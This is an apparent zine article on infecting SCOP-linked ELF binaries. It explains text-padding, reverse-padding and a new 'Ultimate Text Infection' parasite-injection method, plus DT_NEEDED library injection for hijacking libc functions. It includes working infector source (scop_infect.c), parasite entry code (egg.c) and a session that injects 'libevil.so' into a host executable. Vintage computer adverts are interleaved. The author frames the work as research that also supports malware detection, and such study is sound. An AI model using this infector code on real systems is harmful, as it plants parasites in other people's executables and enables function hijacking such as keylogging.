

## 20:07 Modern ELF Infection Techniques of SCOP Binaries

by Ryan “ElfMaster” O’Neill

With the recent introduction of the SCOP (Secure CCode Partitioning) security mitigation—otherwise known as the `ld -separate-code` feature—there are naturally going to be some changes in the way ELF segments are parsed. The feature is thought provoking, and promises interesting developments in how malware authors will work around it.

In this paper we will discuss potential mechanisms for SCOP infections. We will also explore philosophies of traditional infection techniques and discuss a lost technique for shared library injection via `DT_NEEDED`. All of the code in this paper uses `libelfmaster` for portable design, convenience and portability.<sup>21</sup>

First, a quick primer on SCOP executables before jumping right into malware techniques.

### SCOP Primer

A SCOP binary, as explained in “Secure Code Partitioning With ELF binaries” by myself and Justin Michaels,<sup>22</sup> is an ELF executable that has been linked with the `separate-code` option supported by recent versions of `ld(1)`. SCOP binaries are becoming the norm on modern Linux OSes, and already the standard in several distributions such as Ubuntu 18.

SCOP corrects an old anti-pattern of ELF binaries, which, until recently, was prevalent on modern systems. Under this legacy anti-pattern, the `.text` (code) segment is described by a single `PT_LOAD` segment marked with `R+X` permissions. There are many areas within an executable that must be read-only, such as the `.rodata` section, but do not require execution permission. On average, there are about 18 sections within the text segment, only four of which require execution. Therefore the remaining 14 sections are executable in memory, though they only require read access.

An astute security researcher would recognize that this exposes a larger attack surface of ROP gadgets. A quick scan with ROP gadget scanning tools such as Jonathan Salwan’s `ROPgadget` will show you that there are usable gadgets that exist within sec-

tions holding relocation, symbol, note, version, and string data.<sup>23</sup>

The developers of `ld` eventually realized that it made a lot of sense to add a feature to the linker that assigns read-only sections into read-only `PT_LOAD` segments, and read+execute sections into a single read+execute `PT_LOAD` segment. Only four sections (on average) require execution: typically, these are `.init`, `.plt`, `.text`, and `.fini`. This results in an executable with a text segment that is broken up into three segments, and reduces the ROP gadget attack surface.

This is the main idea of SCOP. It seems obvious in retrospect, and should have happened much sooner. However, despite the ELF ABI being the foundation of the binary toolchain, very few people seem to truly care it, for whatever reason. Throughout this paper we will explore some further SCOP nuances that are relevant for infecting SCOP executables.

### Text Segment Layout

Traditional executables consisted of a readable-and-executable `.text`, which is not writable, and a readable-and-writable data segment, which is not executable.

The read-only data that didn’t require execution, as explained above, was placed in the text segment, which was treated as the natural segment for them, also being read-only. Yet if one gives it a closer look, it quickly becomes apparent that there are only four or five sections in the text segment that actually require execution, and the linker marks them respectively with the `sh_flags` value being set to `SHF_ALLOC|SHF_EXECINSTR`, whereas the sections that are read-only are marked as `SHF_ALLOC`, meaning they are allocated into memory, and that’s it.

Page 46 shows the output of `readelf -S` on a traditional 32-bit executable. As we examine only the sections that are in the text segment, I’ve truncated some of the output.

Notice that only five sections require execution, the rest are set to `SHF_ALLOC` (marked A) or, in the case of `.rel.plt`, `SHF_ALLOC|SHF_INFO_LINK`

<sup>21</sup>`git clone https://github.com/elfmaster/libelfmaster`

<sup>22</sup>`unzip pocorgtfo20.pdf scop2018.txt`

<sup>23</sup>`git clone https://github.com/JonathanSalwan/ROPgadget`

[ 0]		NULL	00000000	000000	000000	00	0	0	0
[ 1]	.interp	PROGBITS	08048154	000154	000013	00	A	0	0 1
[ 2]	.note.ABI-tag	NOTE	08048168	000168	000020	00	A	0	0 4
[ 3]	.note.gnu.build-id	NOTE	08048188	000188	000024	00	A	0	0 4
[ 4]	.gnu.hash	GNU_HASH	080481ac	0001ac	000020	04	A	5	0 4
[ 5]	.dynsym	DYNSYM	080481cc	0001cc	000060	10	A	6	1 4
[ 6]	.dynstr	STRTAB	0804822c	00022c	000050	00	A	0	0 1
[ 7]	.gnu.version	VERSYM	0804827c	00027c	00000c	02	A	5	0 2
[ 8]	.gnu.version_r	VERNEED	08048288	000288	000020	00	A	6	1 4
[ 9]	.rel.dyn	REL	080482a8	0002a8	000008	08	A	5	0 4
[10]	.rel.plt	REL	080482b0	0002b0	000018	08	AI	5	23 4
[11]	.init	PROGBITS	080482c8	0002c8	000023	00	AX	0	0 4
[12]	.plt	PROGBITS	080482f0	0002f0	000040	04	AX	0	0 16
[13]	.plt.got	PROGBITS	08048330	000330	000008	08	AX	0	0 8
[14]	.text	PROGBITS	08048340	000340	0001c2	00	AX	0	0 16
[15]	.fini	PROGBITS	08048504	000504	000014	00	AX	0	0 4
[16]	.rodata	PROGBITS	08048518	000518	00000f	00	A	0	0 4
[17]	.eh_frame_hdr	PROGBITS	08048528	000528	00003c	00	A	0	0 4
[18]	.eh_frame	PROGBITS	08048564	000564	0000fc	00	A	0	0 4

### Traditional 32-bit Executable Sections

(marked AI), which indicates that its `sh_info` member links to another section. As a quick reminder about the ELF format, remember that these *section* permissions are only useful for linking and debugging code, at best, as loaders totally disregard them and go by the *segment* permissions instead. However as, we demonstrated with the parsing support for SCOP binaries that we recently merged into `libelfmaster`, these section headers can be very useful when heuristically analyzing SCOP binaries with LOAD segments that have had their `p_flags` (Memory permissions) modified with various infection methods!

While parsing hostile or tampered SCOP binaries, we can compare the `sh_flags` of allocated sections with the `p_flags` of the corresponding PT\_LOAD segments. If the permissions are consistent across both `sh_flags` and `p_flags`, then the SCOP binary is very likely untampered. The important thing to note here is that the section header `sh_flags` directly correlate to how the executable is divided into corresponding segments with equivalent `p_flags`.

NOTE: The astute reader may realize that its possible for an attacker to modify the section header `sh_flags` to reflect the program header `p_flags`. But, it seems, even attackers don't seem to

care about the ABI!

With SCOP binaries, we no longer have the convention of a single LOAD segment for the text image. After all, why store read-only code in an executable region when it may contain ROP gadgets and other unintended executable code? This was a smart move by the GNU `ld(1)` developers.

So a SCOP binary, according to the program headers, now has four PT\_LOAD segments:

- 0 Text Segment (R)
- 1 Text Segment (R+X)
- 2 Text Segment (R)
- 3 Data Segment (R+W)

## Code Injection Techniques

I see several ways to instrument the binary with a chunk of additional executable code, while still keeping the ELF headers intact. First, though, let us mention some of the classic infection techniques that we can use. These are discussed in great depth elsewhere, e.g., in my book *Learning Linux Binary Analysis*<sup>24</sup> and in *Unix ELF Parasites and Virus*, *Silvio Cesare 1998*.<sup>25</sup>

<sup>24</sup>Chapter 4, ELF Virus technology, <https://github.com/PacktPublishing/Learning-Linux-Binary-Analysis>

<sup>25</sup>`unzip pocorgtfo20.pdf elf-pv.txt`

## Traditional Text Segment Padding

In a traditional text segment padding infection, the parasite is simply added to the `.text` segment—with a nifty trick.

This infection technique relies on the fact that the text and data segment are stored flush against each other on disk, but since the `p_vaddr` must be congruent with the `p_offset` modulo `PAGE_SIZE`, we must first extend the `p_filesz/p_memsz` of the text segment, and then adjust the `p_offsets` of the subsequent segments by shifting forward a `PAGE_SIZE`.<sup>26</sup> Please note that this does not mean that there will be anywhere close to 4096 bytes of usable space for the parasite code; rather, there will be  $(\text{data}[\text{PT\_LOAD}].\text{p\_vaddr} \& \sim 4095) - (\text{text}[\text{PT\_LOAD}].\text{p\_vaddr} + \text{text}[\text{PT\_LOAD}].\text{p\_memsz})$  bytes, which may be a lot less.

This limitation is more relevant on 32-bit systems. On `x86_64`, we can shift the `p_offsets` that follow the text segment forward by  $(\text{parasite\_size} + 4095 \& \sim 4095)$  bytes, extending further due to the fact that the `x86_64` architecture uses `HUGE_PAGES` for the `elfclass64` binaries, which are `0x200000` bytes in size.

This technique was first published by Silvio Cesare. It was a brilliant piece of research that impacted me greatly, inspiring me to delve into the esoteric world of binary formats. It taught me the beauty of meticulously modifying their structure without breaking the format specification that the kernel requires to be intact, but can also sometimes interpret in rather strange ways.<sup>27</sup>

The following illustration shows a traditional text segment padding infection on disk.

```
1 [ehdr][phdr]
  [text:parasite_size_extension(R+X)]
3 [data(R+W)]
```

## Layout of SCOP Program Segments

SCOP no longer sticks all the read-only ELF sections into the same single executable segment, but this hardly poses a challenge to the adept binary hacker. After a brief glance at the program header

table on a SCOP binary, we see that similar slack space chunks arise from the differences between the file storage and the memory image representations, and that `HUGE_PAGES` are used, allowing for much larger infection sizes on 64-bit.

LOAD	0x0000000000000000	0x0000000000400000		
	0x0000000000400000	0x00000000000004d0		
	0x00000000000004d0	R		0x200000
LOAD	0x0000000000200000	0x0000000000600000		
	0x0000000000600000	0x000000000000021d		
	0x000000000000021d	R E		0x200000
LOAD	0x0000000000400000	0x0000000000800000		
	0x0000000000800000	0x0000000000000148		
	0x0000000000000148	R		0x200000

In `/proc/pid/maps`, it looks like this.

```
1 00400000-00401000 r—p 00000000 fd:01
  00600000-00601000 r—xp 00200000 fd:01
3 00800000-00801000 r—p 00400000 fd:01
```

The text segment is broken up into three different memory mappings. The end of the executable mapping (`PT_LOAD[1]`) is at `0x601000`. The next virtual address that starts the third text segment (`PT_LOAD[2]`) is at `0x8000000`, which leaves quite a bit of space for infection. For injections that require even larger arbitrary length infections there are alternative solutions; see my `dym_obfuscate` project and the `Retaliation Virus`, which use `PT_NOTE` to `PT_LOAD` conversions.<sup>28 29</sup>

## Text segment padding infection in SCOP binaries

The algorithm is similar to the original text segment padding infection, except that all of the `phdr->p_offsets` after the first executable `LOAD` segment: `PT_LOAD[1]` are adjusted instead of all the `phdr->p_offsets` after `PT_LOAD[0]`.

Using an example with `libelfmaster`, we demonstrate the algorithm for infecting both the binaries linked with SCOP and the traditionally linked ones. This example should showcase the algorithm enough to demonstrate that SCOP binaries can still be infected with the same historic and brilliant text

<sup>26</sup>`p_offset += 4096`

<sup>27</sup>Silvio, if you are reading this: although the scientometric “impact factor” of these publications may never be calculated, their passion-inspiring factor is damn hard to beat. Thank you. —PML

<sup>28</sup>`git clone https://github.com/elfmaster/dsym_obfuscate`

<sup>29</sup>`unzip pocorgtfo20.pdf retaliation.txt`

segment padding infection techniques conceived by Silvio in the *Unix ELF Parasites and Virus*, by security researchers, reverse engineers, virus enthusiasts, or malware authors.

Although this general type of infection is well-explored, the difference in approach for SCOP is subtle enough to warrant a detailed code example on page 49, to show what a text segment padding infection would look like. Don't worry, though—in section 3.4 we give the source code for a totally new type of ELF infection that is specific to SCOP binaries.

### Traditional Reverse Text Padding

The reverse text padding infection technique—of which the Skeksi virus<sup>30</sup> serves as a good example—is the combination of the following tricks.

- Subtracting from the text segment's `p_vaddr` by `PAGE_ALIGN(parasite_len)`.
- Extending the size of the text segment by adjusting `p_filesz` and `p_memsz` by `PAGE_ALIGN(parasite_len)` bytes.
- Shifting the program header table and interp segment forward `PAGE_ALIGN(parasite_len)` bytes by adjusting `p_offset` accordingly
- Updating `elf_hdr->e_shoff`.<sup>31</sup>
- Updating the `.text` section's offset and address to match where the parasite begins.<sup>32</sup>

### Qualities of Reverse Text Padding

The primary benefit of this infection technique is that it yields a significantly larger amount of space to inject code in `ET_EXEC` files. On a 64-bit Linux system with the standard linker script used, an executable has a text base address of `0x400000`, thus the maximum parasite length would be `0x400000 - PAGE_ALIGN_UP(sizeof(ElfN_Ehdr))` bytes, or 4.1MB of space. It is also favorable for infections because it allows the modification of `e_entry` (Entry point) to point into the `.text` section, which could potentially circumvent weak anti-virus heuristics.

The primary disadvantage of this technique is that it will not work with PIE executables. In theory, it could work with SCOP binaries by extending

the second `PT_LOAD` segment in reverse, but, as we will see shortly, there is a much better infection technique for regular and PIE executables when SCOP is being used.

Before infection:

```

1 0x400000
2 [elf_hdr][phdrs][interp]
3
4 0x600e10
5 [text_segment(R+X)][data_segment(R+W)]

```

After infection:

```

1 0x3ff000
2 [elf_hdr][parasite][phdrs][interp]
3 [text_segment(R+X)]
4
5 0x600e10
6 [data_segment(R+W)]

```

### SCOP Reverse text infections?

SCOP binaries are by convention compiled and linked as PIE executables, which pretty much precludes them from this infection type. However, there is one theoretical idea we could entertain. Instead of reversing `PT_LOAD[0]`, which has a base address of `0x0`, we could reverse the `PT_LOAD[1]` segment, which is the SCOP-separated `R+X` part of the text segment's code in SCOP binaries. With that said, there is a much better infection method for SCOP binaries that lends itself very nicely to inserting large amounts of code into the target binary without having to make any adjustments to the ELF file headers, as described below.

### Ultimate Text Infection (UTI) for SCOP ELF Binaries

```

1 $ gcc -fPIC -pie test.c -o test
2 $ gcc -fPIC -pie -Wl,-z,separate-code \
   test.c -o test_scop
3
4 $ ls -sh test
   8.1K test
5
6 $ ls -sh test_scop
   4.1M test_scop

```

<sup>30</sup>Phrack 61:8, the Cerberus ELF Interface by Mayhem, [unzip pocorgtfo20.pdf phrack61-8.txt](#)

<sup>31</sup>`elf_hdr->e_shoff += PAGE_ALIGN(parasite_len)`

<sup>32</sup>`shdr->sh_offset = old_text_base + sizeof(ElfN_Ehdr)`

```

1 struct elf_segment segment;
  elf_segment_iterator_t p_iter;
3 elfobj_t obj;
  bool res, found_text = false;
5 uint64_t text_vaddr, parasite_vaddr;
  size_t parasite_size = SOME_VALUE;
7
  res = elf_open_object(argv[1], &obj, ELF_LOAD_F_STRICT|ELF_LOAD_F_MODIFY, &error);
9 if (res == false) {...}

11 elf_segment_iterator_init(&obj, &p_iter);
  while (elf_segment_iterator_next(&p_iter, &segment) != NULL) {
13   if (elf_flags(&obj, ELF_SCOP_F) == true) {
      /* elf_executable_text_base() will return the value of PT_LOAD[1] since it is
15       * the part of the text segments that have executable permissions. */
      if (segment.vaddr == (text_vaddr = elf_executable_text_base(&obj))) {
17         struct elf_segment new_text;
         uint64_t parasite_vaddr, old_e_entry, end_of_text;
19
         parasite_vaddr = segment.vaddr + segment.filesz;
         old_e_entry = elf_entry_point(&obj);
         end_of_text = segment.offset + segment.filesz;
21         memcpy(&new_text, &segment, sizeof(segment));
         new_text.filesz += parasite_size;
23         new_text.memsz += parasite_size;
         elf_segment_modify(&obj, p_iter.index - 1, &new_text, &error);
25         found_text = true;
27       } else { /* If this is not a SCOP binary then we just look for the text segment by finding
29                * the first PT_LOAD at a minimum */
         if (segment.offset == 0 && segment.type == PT_LOAD) {
31           struct elf_segment new_text;
           uint64_t parasite_vaddr, old_e_entry, end_of_text;
33
           text_vaddr = segment.vaddr;
           parasite_vaddr = segment.vaddr + segment.filesz;
           old_e_entry = elf_entry_point(&obj);
           end_of_text = segment.offset + segment.filesz;
35           memcpy(&new_text, &segment, sizeof(segment));
           new_text.filesz += parasite_size;
           new_text.memsz += parasite_size;
37           elf_segment_modify(&obj, p_iter.index - 1, &new_text, &error);
           found_text = true;
39         }
41       }
43     }
45   if (found_text == true && segment.vaddr > text_vaddr) {
      /* If we have found the text segment, then we must adjust
47       * the subsequent segment's p_offset's. */
      struct elf_segment new_segment;
49       memcpy(&new_segment, &segment, sizeof(segment));
       new_segment.offset += (parasite_size + ((PAGE_SIZE - 1) & ~(PAGE_SIZE - 1)));
51       elf_segment_modify(&obj, p_iter.index - 1, &new_segment, &error);
53     }
     ehdr->e_entry = parasite_vaddr;
     /* Then of course you must adjust ehdr->e_shoff accordingly
55     * and ehdr->e_entry can point to your parasite code. */
  }
}

```

## SCOP Text Segment Padding Infection

Notice that there is an enormous difference in file size between these two executables `test` and `test_scop`, which contain approximately the same amount of code and data. In our original write-up for SCOP, we hadn't addressed this, but it is an important detail that appears to conveniently provide plenty of playroom for virus authors and other binary hackers who'd want to instrument or modify an ELF binary in some arbitrary way. Whether or not this was an oversight by the `ld(1)` developers, I am not entirely sure, but I haven't yet found a reason to justify this particular design choice.

Why is the `test_scop` is so much larger than `test`? This appears to be because SCOP binaries have `p_offsets` that are identical to their `p_vaddrs` for the first three load segments. This is not necessary, because the only requirement for an executable segment to load correctly is that its `p_vaddr` and `p_offset` must be congruent modulo a `PAGE_SIZE`. Looking at the first three `PT_LOAD` segments we can see that there is a vast amount of space on-disk between the first and the second segments, and between the second and the third segments. The second segment is `R+X`, so this is ideally the one we'd want to use. In the `test_scop` binary, the second `PT_LOAD` segment has a `p_filesz` of `0x24d` (589 decimal) bytes. The offset of the third segment is at `0x400000`.

This means that we have an injection space available to us that can be calculated by `PT_LOAD[2].p_offset - PT_LOAD[1].p_offset + PT_LOAD[1].p_filesz`. For the `test_scop` binary this results in 2,096,563 bytes of padding length. This is an unusually large code cave for ELF binary types.

As it turns out, the SCOP binary mitigation not only helps tighten down the ROP gadget regions, but also actually eases the process of inserting code into the executable!

```

1 [elf_hdr][phdrs]
3 PT_LOAD[0]:
  [text rdonly]
5
7 PT_LOAD[1]:
  [text rd+exec][text+parasite]
9 PT_LOAD[2]:
  [text rdonly]
11
13 PT_LOAD[3]:
  [data]
```

## The SCOP Ultimate Text Infection (UTI) Algorithm

- Insert code into file at `PT_LOAD[1].p_offset + PT_LOAD[1].p_filesz`.
- Backup original `PT_LOAD[1].p_filesz`:  
`size_t o_filesz = PT_LOAD[1].p_filesz;`
- Adjust `PT_LOAD[1].p_filesz += code_length`
- Adjust `PT_LOAD[1].p_memsz += code_length`
- Modify `ehdr->e_entry` to point at `PT_LOAD[1].p_vaddr + o_filesz`
- In our case, `egg.c` contains PIC code for jumping back to the original entry point which changes at runtime due to ASLR.

## Note on resolving `Elf_Hdr->e_entry` in PIE executables

If the target executable is PIE, then the parasite code must be able to calculate the original entry point address in certain circumstances: primarily, when the branch instruction used requires an absolute address. The `Elf_hdr->e_entry` will change at runtime once the kernel has randomly relocated the executable by an arbitrary address space displacement. Our parasite code `egg.c` on page 51 has its text and data segment merged into one `PT_LOAD` segment, which allows for easy access to the data segment with position independent code. The egg has two variables that are initialized and therefore stored in the `.data` section. (Explicitly not the `.bss` section!) We have the following two unsigned global integers:

```

static unsigned long o_entry
__attribute__((section(".data")))
= {0x00};

static unsigned long vaddr_of_get_rip
__attribute__((section(".data")))
= {0x00};
```



Buying a PC? Shopping around for the best deal? Evesham Micros is one of the UK's leading suppliers of Olivetti, Amstrad, Sharp and Atari PC's, offering highly competitive deals at the lowest prices. Contact us now for a quote!

### Evesham Micros

ALL PRICES INCLUDE VAT AND DELIVERY  
 Same day despatch whenever possible. Express Courier delivery £3.00 extra.

MAIL ORDER DEPARTMENT  
 Unit 9 St Richards Rd, Evesham, Worcs WR11 6XJ  
 Call us now on 01856-765500

RETAIL SHOWROOMS

Unit 9 St Richards Road Evesham Worcs WR11 6XJ Tel: 01856-765500 Open Mon-Sat: 9.30-5.30	5 Gileston Road Cambridge CB1 3JA Tel: 0223-322888 Open Mon-Sat: 9.30-5.30 Open Sun: 10.00-3.30	1762 Fenchurch Road Cambridge Tel: 021-455-4564 Open Mon-Sat: 9.30-5.30 Open Sun: 10.00-3.30
--	---	--

Find an Olivetti with a Sharp Printer  
 Order or ACCESSORY via Fax direct  
 24 hours delivery to 9.00am, 5.00pm

10 years of Olivetti support (open Mon-Fri: 9.30-5.30) 01856-403053  
 10 years of Olivetti support (open Mon-Fri: 9.30-5.30) 01856-403053  
 10 years of Olivetti support (open Mon-Fri: 9.30-5.30) 01856-403053

```

2  /* egg.c
3  *
4  * scop_infect.c will patch these initialized .data
5  * section variables. We initialize them so that
6  * they do not get stored into the .bss which is
7  * non-existent on disk. We patch the variables with
8  * with the value of e_entry, and the address of where
9  * the get_rip() function gets injected into the target
10 * binary. These are then subtracted from eachother and
11 * from the instruction pointer to get the correct
12 * address to jump to.
13 */
14 static unsigned long o_entry __attribute__((section(".data"))) = {0x00};
15 static unsigned long vaddr_of_get_rip __attribute__((section(".data"))) = {0x00};
16 unsigned long get_rip(void);
17
18 extern long get_rip_label;
19 extern long real_start;
20
21 /*
22 * Code to jump back to entry point
23 */
24 int volatile _start() {
25     /*
26     * What we are doing essentially:
27     * size_t delta = &get_rip_injected_code - original_entry_point;
28     * relocated_entry_point = %rip - delta;
29     */
30     unsigned long n_entry = get_rip() - (vaddr_of_get_rip - o_entry);
31
32     __asm__ volatile (
33         "movq %0, %%rbx\n"
34         "jmpq *%0" :: "g"(n_entry)
35     );
36 }
37
38 unsigned long get_rip(void)
39 {
40     long ret;
41     __asm__ __volatile__
42     (
43         "call get_rip_label \n"
44         ".globl get_rip_label \n"
45         "get_rip_label: \n"
46         "pop %%rax \n"
47         "mov %%rax, %0" : "=r"(ret)
48     );
49 }
50 }

```

```

2  /* Abbreviated scop_infect.c.  Unzip pocorgtfo20.pdf scop.zip for the full copy. */
3
4  #include "/opt/elfmaster/include/libelfmaster.h"
5
6  #define PAGE_ALIGN_UP(x) ((x + 4095) & ~4095)
7  #define PAGE_ALIGN(x) (x & ~4095)
8  #define TMP ".xyzzzy"
9
10 size_t code_len = 0;
11 static uint8_t *code = NULL;
12
13 bool
14 patch_payload(const char *path, elfobj_t *target, elfobj_t *egg, uint64_t injection_vaddr){
15     elf_error_t error;
16     struct elf_symbol get_rip_symbol, symbol, real_start_symbol;
17     struct elf_section section;
18     uint8_t *ptr;
19     size_t delta;
20
21     elf_open_object(path, egg, ELF_LOAD_F_STRICT|ELF_LOAD_F_MODIFY, &error);
22     elf_symbol_by_name(egg, "get_rip", &get_rip_symbol);
23     elf_symbol_by_name(egg, "_start", &real_start_symbol);
24
25     delta = get_rip_symbol.value - real_start_symbol.value;
26     injection_vaddr += delta;
27
28     elf_symbol_by_name(egg, "vaddr_of_get_rip", &symbol);
29     ptr = elf_address_pointer(egg, symbol.value);
30     *(uint64_t *)&ptr[0] = injection_vaddr;
31     elf_symbol_by_name(egg, "o_entry", &symbol);
32     ptr = elf_address_pointer(egg, symbol.value);
33     *(uint64_t *)&ptr[0] = elf_entry_point(target);
34
35     return true;
36 }
37
38 int main(int argc, char **argv){
39     int fd;
40     elfobj_t elfobj;
41     elf_error_t error;
42     struct elf_segment segment;
43     elf_segment_iterator_t p_iter;
44     size_t o_filesz, code_len;
45     uint64_t text_offset, text_vaddr;
46     ssize_t ret;
47     elf_section_iterator_t s_iter;
48     struct elf_section s_entry;
49     struct elf_symbol symbol;
50     uint64_t egg_start_offset;
51     elfobj_t eggobj;
52     uint8_t *eggptr;
53     size_t eggsiz;
54
55     if (argc < 2) {
56         printf("Usage: %s <SCOP_ELF_BINARY>\n", argv[0]);
57         exit(EXIT_SUCCESS);
58     }
59     elf_open_object(argv[1], &elfobj, ELF_LOAD_F_STRICT|ELF_LOAD_F_MODIFY, &error);
60     if (elf_flags(&elfobj, ELF_SCOP_F) == false) {...} //Not a SCOP binary.
61     elf_segment_iterator_init(&elfobj, &p_iter);
62     while (elf_segment_iterator_next(&p_iter, &segment) == ELF_ITER_OK) {
63         if (segment.type == PT_LOAD && segment.flags == (PF_R|PF_X)) {
64             struct elf_segment s;

```



```

66     text_offset = segment.offset;
67     o_filesz = segment.filesz;
68     memcpy(&s, &segment, sizeof(s));
69     s.filesz += sizeof(code);
70     s.memsz += sizeof(code);
71     text_vaddr = segment.vaddr;
72     if (elf_segment_modify(&elfobj, p_iter.index - 1, &s, &error) == false) {
73         fprintf(stderr, "segment_modify(): %s\n",
74             elf_error_msg(&error));
75         exit(EXIT_FAILURE);
76     }
77     break;
78 }
79
80 /* Patch ./egg so that its two global variables o_entry and vaddr_of_get_rip are set to
81  * the original entry point of the target executable, and the address of where within
82  * that executable the get_rip() function will be injected.
83  */
84 patch_payload("./egg", &elfobj, &eggobj, text_offset + o_filesz);
85
86 /* NOTE We must use PAGE_ALIGN on elf_text_base() because it's PT_LOAD is a merged text
87  * and data segment, which results in having a p_offset larger than 0, even though the
88  * initial ELF file header actually starts at offset 0. Check out 'gcc -N -nostdlib
89  * -static code.c -o code' and examine phdr's etc. to understand what I mean.
90  */
91 elf_symbol_by_name(&eggobj, "_start", &symbol);
92 egg_start_offset = symbol.value - PAGE_ALIGN(elf_text_base(&eggobj));
93 eggptr = elf_offset_pointer(&eggobj, egg_start_offset);
94 eggsiz = elf_size(&eggobj) - egg_start_offset;
95
96 switch(elf_class(&elfobj)) {
97 case elfclass32:
98     elfobj.ehdr32->e_entry = text_vaddr + o_filesz;
99     break;
100 case elfclass64:
101     elfobj.ehdr64->e_entry = text_vaddr + o_filesz;
102     break;
103 }
104
105 /* Extend the size of the section that the parasite code ends up in. */
106 elf_section_iterator_init(&elfobj, &s_iter);
107 while (elf_section_iterator_next(&s_iter, &s_entry) == ELF_ITER_OK) {
108     if (s_entry.size + s_entry.address == text_vaddr + o_filesz) {
109         s_entry.size += eggsiz;
110         elf_section_modify(&elfobj, s_iter.index - 1, &s_entry, &error);
111     }
112 }
113 elf_section_commit(&elfobj);
114
115 fd = open(TMP, O_RDWR|O_CREAT|O_TRUNC, 0777);
116 ret = write(fd, elfobj.mem, text_offset + o_filesz);
117 ret = write(fd, eggptr, eggsiz);
118 ret = write(fd, &elfobj.mem[text_offset + o_filesz + eggsiz],
119     elf_size(&elfobj) - text_offset + o_filesz + eggsiz);
120 if (ret < 0) {
121     perror("write");
122     goto done;
123 }
124 done:
125     close(fd);
126     rename(TMP, elf_pathname(&elfobj));
127     elf_close_object(&elfobj);
128 }

```

During the injection of egg into the target binary, we load `o_entry` with the value of `Elf_hdr->e_entry`, which is an address into the PIE executable, and will be changed at runtime. We load `vaddr_of_get_rip` with the address of where we injected the `get_rip()` function from `./egg` into the target. Even though the addresses of `get_rip()` and `Elf_hdr->e_entry` are going to change at runtime, they are still at a fixed distance from each other, so we can use the delta between them and subtract it from the return value of the `get_rip()` function, which returns the address of the current instruction pointer. We are therefore using IP-relative addressing tricks—very familiar to virus writers—to jump back to the original entry point. Using IP relative addressing tricks to calculate the new `e_entry` address is only necessary when using branch instructions that require an absolute address such as indirect `jmp`, `call`, or a `push/ret` combo. Otherwise, you can simply use an immediate `jmp` or `call` on the original `e_entry` value.

The `get_rip()` technique is old-school, and primarily useful for finding the address of objects within the parasite's own body of code.

## Resurrecting the Past with DT\_NEEDED Injection Techniques

Recently, I have been building ELF malware detection technology, and have not always been able to find the samples I needed for certain infection types. In particular, needed a `DT_NEEDED` infector, and one that was capable of overriding existing symbols through shared library resolution precedence. This results in a sort of permanent `LD_PRELOAD` effect.

Traditionally hackers have overwritten the `DT_DEBUG` dynamic tag and changed it to a `DT_NEEDED`, which is quite easy to detect. `dt_infect` v1.0 is able to infect using both methods.<sup>33</sup> Originally I thought that Mayhem—the innovative force behind ERESI and a brilliant hacker all around—had only written about `DT_DEBUG` overwrites, but then I read Phrack 61:8 *The Cerberus ELF Interface* and discovered that he had already covered both `DT_NEEDED` infection techniques, including precedence overriding for symbol hijacking.<sup>34</sup> Huge props to Mayhem for paving the way for so many others!<sup>35</sup>

I'm not entirely sure of the algorithm that

ERESI uses for `DT_NEEDED` infection, but I imagine it is very similar to how `dt_infect` works.

## dt\_infect for Shared Library Injection

The goal of this infection is to add a shared library dependency to a binary, so that the library is loaded before any others. This is similar to using `LD_PRELOAD`. Create a shared library with a function from `libc.so` that you want to hijack, and modify its behavior before calling the original function using `dlsym()`. This is essentially shared library injection into an executable and can be used for all sorts of creative reasons: security instrumentation, keyloggers, virus infection, etc.

In the following example we hijack the function called `void puts(const char *)` from `libc`. The `libevil.c` code is the shared library we are going to inject that has a modified version of `puts()`, as demonstrated on page 55.



I'm no April Fool I'm going to  
the greatest show on earth.

**—THE ALTERNATIVE MICRO SHOW—**

SATURDAY APRIL 1ST (THIS AIN'T NO JOKE)  
10AM - 5PM  
HORTICULTURAL HALLS  
GREYCOAT STREET, LONDON SW1  
NEAR VICTORIA TUBE/RAIL/COACH STATIONS

**ENTRANCE: £2.00-ADULT £1.00-CHILD**

EVERYTHING FOR THE SPECTRUM - BBC - QL  
ZX88 - EINSTEIN - MSX - ENTERPRISE  
ADAM - DRAGON - TEXAS TI99/4A - MEMOTECH  
LYNX - ORIC - ATARI 8 BIT - JUPITER ACE  
COMMODORE 8 BIT - ELECTRON

**AND A HUGE BRING & BUY SALE**

**ALL THE FUN OF THE MICROFAIR**

THE ALTERNATIVE MICRO SHOW IS ORGANISED BY  
EMSOFT LTD, POPLAR LANE, IPSWICH, SUFFOLK IP2 0BA

**TEL: 0473 690729**

<sup>33</sup>git clone [https://github.com/elfmaster/dt\\_infect](https://github.com/elfmaster/dt_infect)

<sup>34</sup>unzip pocorgtfo20.pdf phrack61-8.txt

<sup>35</sup>I second that. Another example of the passion-inspiring factor that is off the scale, even for Phrack. —PML

```

$ ./test
2 I am a host executable for testing purposes
$ readelf -d test | grep NEEDED
4 0x0000000000000001 (NEEDED)      Shared library: [libc.so.6]
$ ./inject test
6 Creating reverse text padding infection to store new .dynstr section
Updating .dynstr section
8 Modified d_entry.value of DT_STRTAB to: 3ff040 (index: 9)
Successfully injected 'libevil.so' into target: 'test'.
10 Be sure to move 'libevil.so' into /lib/x86_64-gnu-linux/

12 $ sudo cp libevil.so /lib/x86_64-linux-gnu/
$ sudo ldconfig
14 $ ./test
$ readelf -d test | grep NEEDED
16 0x0000000000000001 (NEEDED)      Shared library: [libevil.so]
0x0000000000000001 (NEEDED)      Shared library: [libc.so.6]
18 $ ./test
1 4m 4 h057 3x3cu74bl3 f0r 73571ng purp0535
20 $

```

### Example dt\_infect Injection

**What's Good for the Space Shuttle  
is good for your Apple II! . . .**



**MICROWARE**, creator of OS-9/BASIC 09 (used by N.A.S.A., and leading Universities, government agencies, and corporations Worldwide) joins with **STELLATION TWO** to deliver the same Operating system and Programming Language to the APPLE II.

OS-9/BASIC 09 are the result of a 3 year research project designed with the 6809 in mind. This "Operator's dream machine" combines with THE MILL microprocessor board to provide Apple II users with software features previously reserved for Mainframes and minis.

**JUST PLUG IN THE MILL AND LET BASIC 09 WORK FOR YOU!** - other Stellation Two products include:

*Spacetrack: Allows Apple II to plot whole processing Pascal Speedup: The MILL with software for a 50% faster Apple with Pascal. Floating Point: Extends the MILL's power to floating point numbers.*



**STELLATION TWO**  
The Lobero Building P.O. Box 2342  
Santa Barbara, Ca. 93120  
(805) 966-1140 TELEX 658439



**MICROWARE**  
OS-9 is a trademark of Microware. BASIC 09 is a trademark of Microware and Motorola.  
Apple II is a trademark of Apple Computer.

**AMIGA DESIGN DISKS**

<b>Exclusive to ISM</b>	<b>SCULPT 3D/4D and VIDEOSCAPE 3D Formats</b>	<b>Hot from ANTIC U.S.A</b>
-------------------------	---	-----------------------------

→ Architectural: 3D Arches, stairways, roofs, complete house or city designs  
